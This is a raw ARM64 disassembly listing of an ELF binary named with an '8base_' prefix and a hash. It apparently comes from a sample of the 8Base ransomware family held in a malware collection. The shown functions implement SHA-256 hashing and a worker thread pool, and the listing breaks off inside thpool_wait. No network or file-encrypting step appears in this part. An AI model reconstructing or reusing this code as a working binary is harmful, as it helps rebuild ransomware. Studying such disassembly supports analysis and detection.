File 8base_80736669542d3727c77ccda1589f9d7c17568a1d97d98ffae84afbbbf081be67.elf
Function:
    004054e0
    004054e0_rtrf:
    004054e0sub sp, sp, 32
    004054e4str x0, [sp+24]
    004054e8str x1, [sp+16]
    004054ecstr w2, [sp+12]
    004054f0str w3, [sp+8]
    004054f4ldr w0, [sp+8]
    004054f8subs wzr, w0, 0
    004054fcb.eq 0x40564c
    00405500ldr w0, [sp+12]
    00405504and x0, x0, 15
    00405508ubfm x0, x0, 62, 61
    0040550cldr x1, [sp+16]
    00405510add x0, x1, x0
    00405514ldr w2, [x0]
    00405518ldr w0, [sp+12]
    0040551cadd w0, w0, 14
    00405520mov w0, w0
    00405524and x0, x0, 15
    00405528ubfm x0, x0, 62, 61
    0040552cldr x1, [sp+16]
    00405530add x0, x1, x0
    00405534ldr w0, [x0]
    00405538extr w1, w0, w0, 17
    0040553cldr w0, [sp+12]
    00405540add w0, w0, 14
    00405544mov w0, w0
    00405548and x0, x0, 15
    0040554cubfm x0, x0, 62, 61
    00405550ldr x3, [sp+16]
    00405554add x0, x3, x0
    00405558ldr w0, [x0]
    0040555cextr w0, w0, w0, 19
    00405560eor w1, w1, w0
    00405564ldr w0, [sp+12]
    00405568add w0, w0, 14
    0040556cmov w0, w0
    00405570and x0, x0, 15
    00405574ubfm x0, x0, 62, 61
    00405578ldr x3, [sp+16]
    0040557cadd x0, x3, x0
    00405580ldr w0, [x0]
    00405584ubfm w0, w0, 10, 31
    00405588eor w1, w1, w0
    0040558cldr w0, [sp+12]
    00405590add w0, w0, 9
    00405594mov w0, w0
    00405598and x0, x0, 15
    0040559cubfm x0, x0, 62, 61
    004055a0ldr x3, [sp+16]
    004055a4add x0, x3, x0
    004055a8ldr w0, [x0]
    004055acadd w1, w1, w0
    004055b0ldr w0, [sp+12]
    004055b4add w0, w0, 1
    004055b8mov w0, w0
    004055bcand x0, x0, 15
    004055c0ubfm x0, x0, 62, 61
    004055c4ldr x3, [sp+16]
    004055c8add x0, x3, x0
    004055ccldr w0, [x0]
    004055d0extr w3, w0, w0, 7
    004055d4ldr w0, [sp+12]
    004055d8add w0, w0, 1
    004055dcmov w0, w0
    004055e0and x0, x0, 15
    004055e4ubfm x0, x0, 62, 61
    004055e8ldr x4, [sp+16]
    004055ecadd x0, x4, x0
    004055f0ldr w0, [x0]
    004055f4extr w0, w0, w0, 18
    004055f8eor w3, w3, w0
    004055fcldr w0, [sp+12]
    00405600add w0, w0, 1
    00405604mov w0, w0
    00405608and x0, x0, 15
    0040560cubfm x0, x0, 62, 61
    00405610ldr x4, [sp+16]
    00405614add x0, x4, x0
    00405618ldr w0, [x0]
    0040561cubfm w0, w0, 3, 31
    00405620eor w0, w3, w0
    00405624add w1, w1, w0
    00405628ldr w0, [sp+12]
    0040562cand x0, x0, 15
    00405630ubfm x0, x0, 62, 61
    00405634ldr x3, [sp+16]
    00405638add x0, x3, x0
    0040563cadd w1, w2, w1
    00405640str w1, [x0]
    00405644ldr w0, [x0]
    00405648b 0x405664
    0040564c
    0040564cloc_40564c:
    0040564cldr w0, [sp+12]
    00405650and x0, x0, 15
    00405654ubfm x0, x0, 62, 61
    00405658ldr x1, [sp+16]
    0040565cadd x0, x1, x0
    00405660ldr w0, [x0]
    00405664
    00405664loc_405664:
    00405664ldr w2, [sp+12]
    00405668ldr w1, [sp+8]
    0040566cadd w2, w2, w1
    00405670adrp x1, 8192
    00405674add x1, x1, 3656
    00405678mov w2, w2
    0040567cldr w1, [x1+2*x2]
    00405680add w1, w0, w1
    00405684movz w2, 4
    00405688ldr w0, [sp+12]
    0040568csub w0, w2, w0
    00405690mov w0, w0
    00405694and x0, x0, 7
    00405698ubfm x0, x0, 62, 61
    0040569cldr x2, [sp+24]
    004056a0add x0, x2, x0
    004056a4ldr w0, [x0]
    004056a8extr w2, w0, w0, 6
    004056acmovz w3, 4
    004056b0ldr w0, [sp+12]
    004056b4sub w0, w3, w0
    004056b8mov w0, w0
    004056bcand x0, x0, 7
    004056c0ubfm x0, x0, 62, 61
    004056c4ldr x3, [sp+24]
    004056c8add x0, x3, x0
    004056ccldr w0, [x0]
    004056d0extr w0, w0, w0, 11
    004056d4eor w2, w2, w0
    004056d8movz w3, 4
    004056dcldr w0, [sp+12]
    004056e0sub w0, w3, w0
    004056e4mov w0, w0
    004056e8and x0, x0, 7
    004056ecubfm x0, x0, 62, 61
    004056f0ldr x3, [sp+24]
    004056f4add x0, x3, x0
    004056f8ldr w0, [x0]
    004056fcextr w0, w0, w0, 25
    00405700eor w0, w2, w0
    00405704add w1, w1, w0
    00405708movz w2, 6
    0040570cldr w0, [sp+12]
    00405710sub w0, w2, w0
    00405714mov w0, w0
    00405718and x0, x0, 7
    0040571cubfm x0, x0, 62, 61
    00405720ldr x2, [sp+24]
    00405724add x0, x2, x0
    00405728ldr w2, [x0]
    0040572cmovz w3, 4
    00405730ldr w0, [sp+12]
    00405734sub w0, w3, w0
    00405738mov w0, w0
    0040573cand x0, x0, 7
    00405740ubfm x0, x0, 62, 61
    00405744ldr x3, [sp+24]
    00405748add x0, x3, x0
    0040574cldr w3, [x0]
    00405750movz w4, 5
    00405754ldr w0, [sp+12]
    00405758sub w0, w4, w0
    0040575cmov w0, w0
    00405760and x0, x0, 7
    00405764ubfm x0, x0, 62, 61
    00405768ldr x4, [sp+24]
    0040576cadd x0, x4, x0
    00405770ldr w4, [x0]
    00405774movz w5, 6
    00405778ldr w0, [sp+12]
    0040577csub w0, w5, w0
    00405780mov w0, w0
    00405784and x0, x0, 7
    00405788ubfm x0, x0, 62, 61
    0040578cldr x5, [sp+24]
    00405790add x0, x5, x0
    00405794ldr w0, [x0]
    00405798eor w0, w4, w0
    0040579cand w0, w3, w0
    004057a0eor w0, w2, w0
    004057a4add w2, w1, w0
    004057a8movz w1, 7
    004057acldr w0, [sp+12]
    004057b0sub w0, w1, w0
    004057b4mov w0, w0
    004057b8and x0, x0, 7
    004057bcubfm x0, x0, 62, 61
    004057c0ldr x1, [sp+24]
    004057c4add x0, x1, x0
    004057c8ldr w1, [x0]
    004057ccmovz w3, 7
    004057d0ldr w0, [sp+12]
    004057d4sub w0, w3, w0
    004057d8mov w0, w0
    004057dcand x0, x0, 7
    004057e0ubfm x0, x0, 62, 61
    004057e4ldr x3, [sp+24]
    004057e8add x0, x3, x0
    004057ecadd w1, w2, w1
    004057f0str w1, [x0]
    004057f4movz w1, 3
    004057f8ldr w0, [sp+12]
    004057fcsub w0, w1, w0
    00405800mov w0, w0
    00405804and x0, x0, 7
    00405808ubfm x0, x0, 62, 61
    0040580cldr x1, [sp+24]
    00405810add x0, x1, x0
    00405814ldr w2, [x0]
    00405818movz w1, 7
    0040581cldr w0, [sp+12]
    00405820sub w0, w1, w0
    00405824mov w0, w0
    00405828and x0, x0, 7
    0040582cubfm x0, x0, 62, 61
    00405830ldr x1, [sp+24]
    00405834add x0, x1, x0
    00405838ldr w1, [x0]
    0040583cmovz w3, 3
    00405840ldr w0, [sp+12]
    00405844sub w0, w3, w0
    00405848mov w0, w0
    0040584cand x0, x0, 7
    00405850ubfm x0, x0, 62, 61
    00405854ldr x3, [sp+24]
    00405858add x0, x3, x0
    0040585cadd w1, w2, w1
    00405860str w1, [x0]
    00405864movz w1, 7
    00405868ldr w0, [sp+12]
    0040586csub w0, w1, w0
    00405870mov w0, w0
    00405874and x0, x0, 7
    00405878ubfm x0, x0, 62, 61
    0040587cldr x1, [sp+24]
    00405880add x0, x1, x0
    00405884ldr w2, [x0]
    00405888ldr w0, [sp+12]
    0040588csub w0, wzr, w0
    00405890mov w0, w0
    00405894and x0, x0, 7
    00405898ubfm x0, x0, 62, 61
    0040589cldr x1, [sp+24]
    004058a0add x0, x1, x0
    004058a4ldr w0, [x0]
    004058a8extr w1, w0, w0, 2
    004058acldr w0, [sp+12]
    004058b0sub w0, wzr, w0
    004058b4mov w0, w0
    004058b8and x0, x0, 7
    004058bcubfm x0, x0, 62, 61
    004058c0ldr x3, [sp+24]
    004058c4add x0, x3, x0
    004058c8ldr w0, [x0]
    004058ccextr w0, w0, w0, 13
    004058d0eor w1, w1, w0
    004058d4ldr w0, [sp+12]
    004058d8sub w0, wzr, w0
    004058dcmov w0, w0
    004058e0and x0, x0, 7
    004058e4ubfm x0, x0, 62, 61
    004058e8ldr x3, [sp+24]
    004058ecadd x0, x3, x0
    004058f0ldr w0, [x0]
    004058f4extr w0, w0, w0, 22
    004058f8eor w1, w1, w0
    004058fcldr w0, [sp+12]
    00405900sub w0, wzr, w0
    00405904mov w0, w0
    00405908and x0, x0, 7
    0040590cubfm x0, x0, 62, 61
    00405910ldr x3, [sp+24]
    00405914add x0, x3, x0
    00405918ldr w3, [x0]
    0040591cmovz w4, 1
    00405920ldr w0, [sp+12]
    00405924sub w0, w4, w0
    00405928mov w0, w0
    0040592cand x0, x0, 7
    00405930ubfm x0, x0, 62, 61
    00405934ldr x4, [sp+24]
    00405938add x0, x4, x0
    0040593cldr w0, [x0]
    00405940and w3, w3, w0
    00405944movz w4, 2
    00405948ldr w0, [sp+12]
    0040594csub w0, w4, w0
    00405950mov w0, w0
    00405954and x0, x0, 7
    00405958ubfm x0, x0, 62, 61
    0040595cldr x4, [sp+24]
    00405960add x0, x4, x0
    00405964ldr w4, [x0]
    00405968ldr w0, [sp+12]
    0040596csub w0, wzr, w0
    00405970mov w0, w0
    00405974and x0, x0, 7
    00405978ubfm x0, x0, 62, 61
    0040597cldr x5, [sp+24]
    00405980add x0, x5, x0
    00405984ldr w5, [x0]
    00405988movz w6, 1
    0040598cldr w0, [sp+12]
    00405990sub w0, w6, w0
    00405994mov w0, w0
    00405998and x0, x0, 7
    0040599cubfm x0, x0, 62, 61
    004059a0ldr x6, [sp+24]
    004059a4add x0, x6, x0
    004059a8ldr w0, [x0]
    004059aceor w0, w5, w0
    004059b0and w0, w4, w0
    004059b4orr w0, w3, w0
    004059b8add w1, w1, w0
    004059bcmovz w3, 7
    004059c0ldr w0, [sp+12]
    004059c4sub w0, w3, w0
    004059c8mov w0, w0
    004059ccand x0, x0, 7
    004059d0ubfm x0, x0, 62, 61
    004059d4ldr x3, [sp+24]
    004059d8add x0, x3, x0
    004059dcadd w1, w2, w1
    004059e0str w1, [x0]
    004059e4hint
    004059e8add sp, sp, 32
    004059ecret x30
    004054e0
    004059f0
    004059f0_hash:
    004059f0stp x29, x30, [sp-80]!
    004059f4add x29, sp, 0
    004059f8str x0, [sp+24]
    004059fcldr x0, [sp+24]
    00405a00ldr w0, [x0+64]
    00405a04str w0, [sp+32]
    00405a08ldr x0, [sp+24]
    00405a0cldr w0, [x0+68]
    00405a10str w0, [sp+36]
    00405a14ldr x0, [sp+24]
    00405a18ldr w0, [x0+72]
    00405a1cstr w0, [sp+40]
    00405a20ldr x0, [sp+24]
    00405a24ldr w0, [x0+76]
    00405a28str w0, [sp+44]
    00405a2cldr x0, [sp+24]
    00405a30ldr w0, [x0+80]
    00405a34str w0, [sp+48]
    00405a38ldr x0, [sp+24]
    00405a3cldr w0, [x0+84]
    00405a40str w0, [sp+52]
    00405a44ldr x0, [sp+24]
    00405a48ldr w0, [x0+88]
    00405a4cstr w0, [sp+56]
    00405a50ldr x0, [sp+24]
    00405a54ldr w0, [x0+92]
    00405a58str w0, [sp+60]
    00405a5cldr x0, [sp+24]
    00405a60str x0, [sp+64]
    00405a64str wzr, [sp+76]
    00405a68b 0x405bb8
    00405a6c
    00405a6cloc_405a6c:
    00405a6cadd x0, sp, 32
    00405a70ldr w3, [sp+76]
    00405a74movz w2, 0
    00405a78ldr x1, [sp+64]
    00405a7cbl _rtrf
    00405a80add x0, sp, 32
    00405a84ldr w3, [sp+76]
    00405a88movz w2, 1
    00405a8cldr x1, [sp+64]
    00405a90bl _rtrf
    00405a94add x0, sp, 32
    00405a98ldr w3, [sp+76]
    00405a9cmovz w2, 2
    00405aa0ldr x1, [sp+64]
    00405aa4bl _rtrf
    00405aa8add x0, sp, 32
    00405aacldr w3, [sp+76]
    00405ab0movz w2, 3
    00405ab4ldr x1, [sp+64]
    00405ab8bl _rtrf
    00405abcadd x0, sp, 32
    00405ac0ldr w3, [sp+76]
    00405ac4movz w2, 4
    00405ac8ldr x1, [sp+64]
    00405accbl _rtrf
    00405ad0add x0, sp, 32
    00405ad4ldr w3, [sp+76]
    00405ad8movz w2, 5
    00405adcldr x1, [sp+64]
    00405ae0bl _rtrf
    00405ae4add x0, sp, 32
    00405ae8ldr w3, [sp+76]
    00405aecmovz w2, 6
    00405af0ldr x1, [sp+64]
    00405af4bl _rtrf
    00405af8add x0, sp, 32
    00405afcldr w3, [sp+76]
    00405b00movz w2, 7
    00405b04ldr x1, [sp+64]
    00405b08bl _rtrf
    00405b0cadd x0, sp, 32
    00405b10ldr w3, [sp+76]
    00405b14movz w2, 8
    00405b18ldr x1, [sp+64]
    00405b1cbl _rtrf
    00405b20add x0, sp, 32
    00405b24ldr w3, [sp+76]
    00405b28movz w2, 9
    00405b2cldr x1, [sp+64]
    00405b30bl _rtrf
    00405b34add x0, sp, 32
    00405b38ldr w3, [sp+76]
    00405b3cmovz w2, 10
    00405b40ldr x1, [sp+64]
    00405b44bl _rtrf
    00405b48add x0, sp, 32
    00405b4cldr w3, [sp+76]
    00405b50movz w2, 11
    00405b54ldr x1, [sp+64]
    00405b58bl _rtrf
    00405b5cadd x0, sp, 32
    00405b60ldr w3, [sp+76]
    00405b64movz w2, 12
    00405b68ldr x1, [sp+64]
    00405b6cbl _rtrf
    00405b70add x0, sp, 32
    00405b74ldr w3, [sp+76]
    00405b78movz w2, 13
    00405b7cldr x1, [sp+64]
    00405b80bl _rtrf
    00405b84add x0, sp, 32
    00405b88ldr w3, [sp+76]
    00405b8cmovz w2, 14
    00405b90ldr x1, [sp+64]
    00405b94bl _rtrf
    00405b98add x0, sp, 32
    00405b9cldr w3, [sp+76]
    00405ba0movz w2, 15
    00405ba4ldr x1, [sp+64]
    00405ba8bl _rtrf
    00405bacldr w0, [sp+76]
    00405bb0add w0, w0, 16
    00405bb4str w0, [sp+76]
    00405bb8
    00405bb8loc_405bb8:
    00405bb8ldr w0, [sp+76]
    00405bbcsubs wzr, w0, 63
    00405bc0b.ls 0x405a6c
    00405bc4ldr x0, [sp+24]
    00405bc8ldr w1, [x0+64]
    00405bccldr w0, [sp+32]
    00405bd0add w1, w1, w0
    00405bd4ldr x0, [sp+24]
    00405bd8str w1, [x0+64]
    00405bdcldr x0, [sp+24]
    00405be0ldr w1, [x0+68]
    00405be4ldr w0, [sp+36]
    00405be8add w1, w1, w0
    00405becldr x0, [sp+24]
    00405bf0str w1, [x0+68]
    00405bf4ldr x0, [sp+24]
    00405bf8ldr w1, [x0+72]
    00405bfcldr w0, [sp+40]
    00405c00add w1, w1, w0
    00405c04ldr x0, [sp+24]
    00405c08str w1, [x0+72]
    00405c0cldr x0, [sp+24]
    00405c10ldr w1, [x0+76]
    00405c14ldr w0, [sp+44]
    00405c18add w1, w1, w0
    00405c1cldr x0, [sp+24]
    00405c20str w1, [x0+76]
    00405c24ldr x0, [sp+24]
    00405c28ldr w1, [x0+80]
    00405c2cldr w0, [sp+48]
    00405c30add w1, w1, w0
    00405c34ldr x0, [sp+24]
    00405c38str w1, [x0+80]
    00405c3cldr x0, [sp+24]
    00405c40ldr w1, [x0+84]
    00405c44ldr w0, [sp+52]
    00405c48add w1, w1, w0
    00405c4cldr x0, [sp+24]
    00405c50str w1, [x0+84]
    00405c54ldr x0, [sp+24]
    00405c58ldr w1, [x0+88]
    00405c5cldr w0, [sp+56]
    00405c60add w1, w1, w0
    00405c64ldr x0, [sp+24]
    00405c68str w1, [x0+88]
    00405c6cldr x0, [sp+24]
    00405c70ldr w1, [x0+92]
    00405c74ldr w0, [sp+60]
    00405c78add w1, w1, w0
    00405c7cldr x0, [sp+24]
    00405c80str w1, [x0+92]
    00405c84hint
    00405c88ldp x29, x30, [sp], 80
    00405c8cret x30
    004059f0
    00405c90
    00405c90sha256_init:
    00405c90sub sp, sp, 16
    00405c94str x0, [sp+8]
    00405c98ldr x0, [sp+8]
    00405c9cstr wzr, [x0+100]
    00405ca0ldr x0, [sp+8]
    00405ca4ldr w1, [x0+100]
    00405ca8ldr x0, [sp+8]
    00405cacstr w1, [x0+96]
    00405cb0ldr x0, [sp+8]
    00405cb4movz w1, 58983
    00405cb8movk w1, 0x6a090000
    00405cbcstr w1, [x0+64]
    00405cc0ldr x0, [sp+8]
    00405cc4movz w1, 44677
    00405cc8movk w1, 0xbb670000
    00405cccstr w1, [x0+68]
    00405cd0ldr x0, [sp+8]
    00405cd4movz w1, 62322
    00405cd8movk w1, 0x3c6e0000
    00405cdcstr w1, [x0+72]
    00405ce0ldr x0, [sp+8]
    00405ce4movz w1, 62778
    00405ce8movk w1, 0xa54f0000
    00405cecstr w1, [x0+76]
    00405cf0ldr x0, [sp+8]
    00405cf4movz w1, 21119
    00405cf8movk w1, 0x510e0000
    00405cfcstr w1, [x0+80]
    00405d00ldr x0, [sp+8]
    00405d04movz w1, 26764
    00405d08movk w1, 0x9b050000
    00405d0cstr w1, [x0+84]
    00405d10ldr x0, [sp+8]
    00405d14movz w1, 55723
    00405d18movk w1, 0x1f830000
    00405d1cstr w1, [x0+88]
    00405d20ldr x0, [sp+8]
    00405d24movz w1, 52505
    00405d28movk w1, 0x5be00000
    00405d2cstr w1, [x0+92]
    00405d30hint
    00405d34add sp, sp, 16
    00405d38ret x30
    00405c90
    00405d3c
    00405d3csha256_hash:
    00405d3cstp x29, x30, [sp-80]!
    00405d40add x29, sp, 0
    00405d44stp x19, x20, [sp+16]
    00405d48str x21, [sp+32]
    00405d4cstr x0, [sp+72]
    00405d50str x1, [sp+64]
    00405d54str w2, [sp+60]
    00405d58ldr x0, [sp+72]
    00405d5cldr w0, [x0+96]
    00405d60and w21, w0, 63
    00405d64ldr x0, [sp+72]
    00405d68ldr w1, [x0+96]
    00405d6cldr w0, [sp+60]
    00405d70add w1, w1, w0
    00405d74ldr x0, [sp+72]
    00405d78str w1, [x0+96]
    00405d7cldr x0, [sp+72]
    00405d80ldr w0, [x0+96]
    00405d84ldr w1, [sp+60]
    00405d88subs wzr, w1, w0
    00405d8cb.ls 0x405da4
    00405d90ldr x0, [sp+72]
    00405d94ldr w0, [x0+100]
    00405d98add w1, w0, 1
    00405d9cldr x0, [sp+72]
    00405da0str w1, [x0+100]
    00405da4
    00405da4loc_405da4:
    00405da4movz w20, 0
    00405da8movz w0, 64
    00405dacsub w19, w0, w21
    00405db0b 0x405e08
    00405db4
    00405db4loc_405db4:
    00405db4ldr x1, [sp+72]
    00405db8mov w0, w21
    00405dbcadd x3, x1, x0
    00405dc0mov w0, w20
    00405dc4ldr x1, [sp+64]
    00405dc8add x0, x1, x0
    00405dccmov w2, w19
    00405dd0mov x1, x0
    00405dd4mov x0, x3
    00405dd8bl _memcp
    00405ddcldr x0, [sp+72]
    00405de0movz w1, 16
    00405de4bl _bswapw
    00405de8ldr x0, [sp+72]
    00405decbl _hash
    00405df0add w20, w20, w19
    00405df4ldr w0, [sp+60]
    00405df8sub w0, w0, w19
    00405dfcstr w0, [sp+60]
    00405e00movz w19, 64
    00405e04movz w21, 0
    00405e08
    00405e08loc_405e08:
    00405e08ldr w0, [sp+60]
    00405e0csubs wzr, w0, w19
    00405e10b.hs 0x405db4
    00405e14ldr x1, [sp+72]
    00405e18mov w0, w21
    00405e1cadd x3, x1, x0
    00405e20mov w0, w20
    00405e24ldr x1, [sp+64]
    00405e28add x0, x1, x0
    00405e2cldr w2, [sp+60]
    00405e30mov x1, x0
    00405e34mov x0, x3
    00405e38bl _memcp
    00405e3chint
    00405e40ldp x19, x20, [sp+16]
    00405e44ldr x21, [sp+32]
    00405e48ldp x29, x30, [sp], 80
    00405e4cret x30
    00405d3c
    00405e50
    00405e50sha256_done:
    00405e50stp x29, x30, [sp-48]!
    00405e54add x29, sp, 0
    00405e58str x0, [sp+24]
    00405e5cstr x1, [sp+16]
    00405e60ldr x0, [sp+24]
    00405e64ldr w0, [x0+96]
    00405e68and w0, w0, 63
    00405e6cstr w0, [sp+44]
    00405e70ldr w0, [sp+44]
    00405e74orn w0, wzr, w0
    00405e78ubfm w0, w0, 29, 28
    00405e7cand w0, w0, 24
    00405e80str w0, [sp+40]
    00405e84ldr x2, [sp+24]
    00405e88ldr w0, [sp+44]
    00405e8cadd w0, w0, 3
    00405e90ubfm w0, w0, 2, 31
    00405e94mov w1, w0
    00405e98mov x0, x2
    00405e9cbl _bswapw
    00405ea0ldr w0, [sp+44]
    00405ea4ubfm w1, w0, 2, 31
    00405ea8ldr x0, [sp+24]
    00405eacmov w1, w1
    00405eb0ldr w1, [x0+2*x1]
    00405eb4ldr w0, [sp+40]
    00405eb8movn w2, 127
    00405ebclslv w0, w2, w0
    00405ec0ldr w2, [sp+44]
    00405ec4ubfm w3, w2, 2, 31
    00405ec8and w2, w1, w0
    00405eccldr x0, [sp+24]
    00405ed0mov w1, w3
    00405ed4str w2, [x0+2*x1]
    00405ed8ldr w0, [sp+44]
    00405edcubfm w1, w0, 2, 31
    00405ee0ldr x0, [sp+24]
    00405ee4mov w1, w1
    00405ee8ldr w0, [x0+2*x1]
    00405eecldr w1, [sp+40]
    00405ef0movz w2, 128
    00405ef4lslv w1, w2, w1
    00405ef8mov w2, w1
    00405efcldr w1, [sp+44]
    00405f00ubfm w1, w1, 2, 31
    00405f04orr w2, w0, w2
    00405f08ldr x0, [sp+24]
    00405f0cmov w1, w1
    00405f10str w2, [x0+2*x1]
    00405f14ldr w0, [sp+44]
    00405f18subs wzr, w0, 55
    00405f1cb.hi 0x405f34
    00405f20ldr w0, [sp+44]
    00405f24ubfm w0, w0, 2, 31
    00405f28add w0, w0, 1
    00405f2cstr w0, [sp+44]
    00405f30b 0x405f8c
    00405f34
    00405f34loc_405f34:
    00405f34ldr x0, [sp+24]
    00405f38ldr w1, [x0+60]
    00405f3cldr w0, [sp+44]
    00405f40subs wzr, w0, 59
    00405f44b.hi 0x405f54
    00405f48ldr x0, [sp+24]
    00405f4cldr w0, [x0+60]
    00405f50b 0x405f58
    00405f54
    00405f54loc_405f54:
    00405f54movz w0, 0
    00405f58
    00405f58loc_405f58:
    00405f58eor w1, w0, w1
    00405f5cldr x0, [sp+24]
    00405f60str w1, [x0+60]
    00405f64ldr x0, [sp+24]
    00405f68bl _hash
    00405f6cstr wzr, [sp+44]
    00405f70b 0x405f8c
    00405f74
    00405f74loc_405f74:
    00405f74ldr w0, [sp+44]
    00405f78add w1, w0, 1
    00405f7cstr w1, [sp+44]
    00405f80ldr x1, [sp+24]
    00405f84mov w0, w0
    00405f88str wzr, [x1+2*x0]
    00405f8c
    00405f8cloc_405f8c:
    00405f8cldr w0, [sp+44]
    00405f90subs wzr, w0, 13
    00405f94b.ls 0x405f74
    00405f98ldr x0, [sp+24]
    00405f9cldr w0, [x0+100]
    00405fa0ubfm w1, w0, 29, 28
    00405fa4ldr x0, [sp+24]
    00405fa8ldr w0, [x0+96]
    00405facubfm w0, w0, 29, 31
    00405fb0orr w1, w1, w0
    00405fb4ldr x0, [sp+24]
    00405fb8str w1, [x0+56]
    00405fbcldr x0, [sp+24]
    00405fc0ldr w0, [x0+96]
    00405fc4ubfm w1, w0, 29, 28
    00405fc8ldr x0, [sp+24]
    00405fccstr w1, [x0+60]
    00405fd0ldr x0, [sp+24]
    00405fd4bl _hash
    00405fd8str wzr, [sp+44]
    00405fdcb 0x406040
    00405fe0
    00405fe0loc_405fe0:
    00405fe0ldr w0, [sp+44]
    00405fe4and w1, w0, 15
    00405fe8ldr x0, [sp+24]
    00405fecmov w1, w1
    00405ff0str wzr, [x0+2*x1]
    00405ff4ldr w0, [sp+44]
    00405ff8ubfm w1, w0, 2, 31
    00405ffcldr x0, [sp+24]
    00406000mov w1, w1
    00406004add x1, x1, 16
    00406008ldr w1, [x0+2*x1]
    0040600cldr w0, [sp+44]
    00406010orn w0, wzr, w0
    00406014ubfm w0, w0, 29, 28
    00406018and w0, w0, 24
    0040601clsrv w2, w1, w0
    00406020ldr w0, [sp+44]
    00406024ldr x1, [sp+16]
    00406028add x0, x1, x0
    0040602cand w1, w2, 255
    00406030strb w1, [x0]
    00406034ldr w0, [sp+44]
    00406038add w0, w0, 1
    0040603cstr w0, [sp+44]
    00406040
    00406040loc_406040:
    00406040ldr w0, [sp+44]
    00406044subs wzr, w0, 31
    00406048b.ls 0x405fe0
    0040604chint
    00406050hint
    00406054ldp x29, x30, [sp], 48
    00406058ret x30
    00405e50
    0040605c
    0040605cthpool_init:
    0040605cstp x29, x30, [sp-48]!
    00406060add x29, sp, 0
    00406064str w0, [sp+28]
    00406068adrp x0, 0x14000
    0040606cadd x0, x0, 692
    00406070str wzr, [x0]
    00406074adrp x0, 0x14000
    00406078add x0, x0, 688
    0040607cmovz w1, 1
    00406080str w1, [x0]
    00406084ldr w0, [sp+28]
    00406088subs wzr, w0, 0
    0040608cb.ge 0x406094
    00406090str wzr, [sp+28]
    00406094
    00406094loc_406094:
    00406094movz x0, 192
    00406098bl malloc@plt
    0040609cstr x0, [sp+32]
    004060a0ldr x0, [sp+32]
    004060a4subs xzr, x0, 0
    004060a8b.ne 0x4060d8
    004060acadrp x0, 0x14000
    004060b0add x0, x0, 648
    004060b4ldr x0, [x0]
    004060b8mov x3, x0
    004060bcmovz x2, 57
    004060c0movz x1, 1
    004060c4adrp x0, 4096
    004060c8add x0, x0, 3912
    004060ccbl fwrite@plt
    004060d0movz x0, 0
    004060d4b 0x40621c
    004060d8
    004060d8loc_4060d8:
    004060d8ldr x0, [sp+32]
    004060dcstr wzr, [x0+8]
    004060e0ldr x0, [sp+32]
    004060e4str wzr, [x0+12]
    004060e8ldr x0, [sp+32]
    004060ecadd x0, x0, 112
    004060f0bl jobqueue_init
    004060f4adds wzr, w0, 1
    004060f8b.ne 0x406130
    004060fcadrp x0, 0x14000
    00406100add x0, x0, 648
    00406104ldr x0, [x0]
    00406108mov x3, x0
    0040610cmovz x2, 55
    00406110movz x1, 1
    00406114adrp x0, 4096
    00406118add x0, x0, 3976
    0040611cbl fwrite@plt
    00406120ldr x0, [sp+32]
    00406124bl free@plt
    00406128movz x0, 0
    0040612cb 0x40621c
    00406130
    00406130loc_406130:
    00406130ldrsw x0, [sp+28]
    00406134ubfm x0, x0, 61, 60
    00406138bl malloc@plt
    0040613cmov x1, x0
    00406140ldr x0, [sp+32]
    00406144str x1, [x0]
    00406148ldr x0, [sp+32]
    0040614cldr x0, [x0]
    00406150subs xzr, x0, 0
    00406154b.ne 0x406198
    00406158adrp x0, 0x14000
    0040615cadd x0, x0, 648
    00406160ldr x0, [x0]
    00406164mov x3, x0
    00406168movz x2, 53
    0040616cmovz x1, 1
    00406170adrp x0, 4096
    00406174add x0, x0, 4032
    00406178bl fwrite@plt
    0040617cldr x0, [sp+32]
    00406180add x0, x0, 112
    00406184bl jobqueue_destroy
    00406188ldr x0, [sp+32]
    0040618cbl free@plt
    00406190movz x0, 0
    00406194b 0x40621c
    00406198
    00406198loc_406198:
    00406198ldr x0, [sp+32]
    0040619cadd x0, x0, 16
    004061a0movz x1, 0
    004061a4bl pthread_mutex_init@plt
    004061a8ldr x0, [sp+32]
    004061acadd x0, x0, 64
    004061b0movz x1, 0
    004061b4bl pthread_cond_init@plt
    004061b8str wzr, [sp+44]
    004061bcb 0x4061f0
    004061c0
    004061c0loc_4061c0:
    004061c0ldr x0, [sp+32]
    004061c4ldr x1, [x0]
    004061c8ldrsw x0, [sp+44]
    004061ccubfm x0, x0, 61, 60
    004061d0add x0, x1, x0
    004061d4ldr w2, [sp+44]
    004061d8mov x1, x0
    004061dcldr x0, [sp+32]
    004061e0bl thread_init
    004061e4ldr w0, [sp+44]
    004061e8add w0, w0, 1
    004061ecstr w0, [sp+44]
    004061f0
    004061f0loc_4061f0:
    004061f0ldr w1, [sp+44]
    004061f4ldr w0, [sp+28]
    004061f8subs wzr, w1, w0
    004061fcb.lt 0x4061c0
    00406200hint
    00406204
    00406204loc_406204:
    00406204ldr x0, [sp+32]
    00406208ldr w0, [x0+8]
    0040620cldr w1, [sp+28]
    00406210subs wzr, w1, w0
    00406214b.ne 0x406204
    00406218ldr x0, [sp+32]
    0040621c
    0040621cloc_40621c:
    0040621cldp x29, x30, [sp], 48
    00406220ret x30
    0040605c
    00406224
    00406224thpool_add_work:
    00406224stp x29, x30, [sp-64]!
    00406228add x29, sp, 0
    0040622cstr x0, [sp+40]
    00406230str x1, [sp+32]
    00406234str x2, [sp+24]
    00406238movz x0, 24
    0040623cbl malloc@plt
    00406240str x0, [sp+56]
    00406244ldr x0, [sp+56]
    00406248subs xzr, x0, 0
    0040624cb.ne 0x40627c
    00406250adrp x0, 0x14000
    00406254add x0, x0, 648
    00406258ldr x0, [x0]
    0040625cmov x3, x0
    00406260movz x2, 57
    00406264movz x1, 1
    00406268adrp x0, 4096
    0040626cadd x0, x0, 4088
    00406270bl fwrite@plt
    00406274movn w0, 0
    00406278b 0x4062a8
    0040627c
    0040627cloc_40627c:
    0040627cldr x0, [sp+56]
    00406280ldr x1, [sp+32]
    00406284str x1, [x0+8]
    00406288ldr x0, [sp+56]
    0040628cldr x1, [sp+24]
    00406290str x1, [x0+16]
    00406294ldr x0, [sp+40]
    00406298add x0, x0, 112
    0040629cldr x1, [sp+56]
    004062a0bl jobqueue_push
    004062a4movz w0, 0
    004062a8
    004062a8loc_4062a8:
    004062a8ldp x29, x30, [sp], 64
    004062acret x30
    00406224
    004062b0
    004062b0thpool_wait:
    004062b0stp x29, x30, [sp-32]!
    004062b4add x29, sp, 0
    004062b8str x0, [sp+24]
    004062bcldr x0, [sp+24]
    004062c0add x0, x0, 16
